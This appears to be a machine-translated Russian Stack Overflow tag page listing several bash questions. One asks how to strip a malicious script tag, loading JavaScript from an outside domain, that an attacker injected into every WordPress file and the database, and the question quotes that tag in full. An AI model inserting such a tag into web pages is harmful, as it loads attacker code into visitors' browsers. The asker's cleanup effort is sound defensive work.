Вопросы с тегом «bash»

Для вопросов о скриптах, написанных для командной оболочки Bash. Для сценариев оболочки с ошибками / синтаксическими ошибками, пожалуйста, проверьте их с помощью программы shellcheck (или на сервере веб-проверки оболочки по адресу https://shellcheck.net) перед размещением здесь. Вопросы об интерактивном использовании Bash, скорее всего, будут касаться темы Super User, а не переполнения стека.

7
Как заменить всю строку, используя sed или, возможно, grep
Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Я поискал через grep используя grep -r …
10 bash  shell  sed  grep 

1
Расширение параметра, приводящее к пустой строке, обрабатывается по-разному.
Обновить Кто - то в списке рассылки ошибка-Баш уже подтвердил это ошибка. Если кому-то интересно, исправление доступно в последней ветке коммита для разработки . Пока bash -c 'echo "${1##*""}"' _ bar печатает пустую строку, bash -c 'echo "${1##*"${1##*}"}"' _ bar печать bar. Я не понимаю этого. ${1##*}разворачивается в пустую строку, …
10 bash 

2
Планировщик Synology .sh Java команда не найдена
У меня есть скрипт bash, единственной задачей которого является выполнение файла JAR. sms.sh java -jar /volume1/homes/jar/smssender.jar Используя NAS-устройство Synology, я поставил задачу. Добавление команды для выполнения скрипта bash. Добавление вывода журнала. Выполнение моего нового задания. Проверяя журнал, чтобы увидеть следующую ошибку: /volume1/homes/jar/sms.sh: строка 1: java: команда не найдена Проверка версии …
9 java  bash  synology 

3
Сохраняйте изменения на месте с помощью NON GNU awk
Я столкнулся с вопросом (на самом SO), где OP должен выполнять редактирование и сохранять операции в самих Input_file (s). Я знаю, что для одного Input_file мы могли бы сделать следующее: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file Теперь предположим, что нам нужно внести …
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.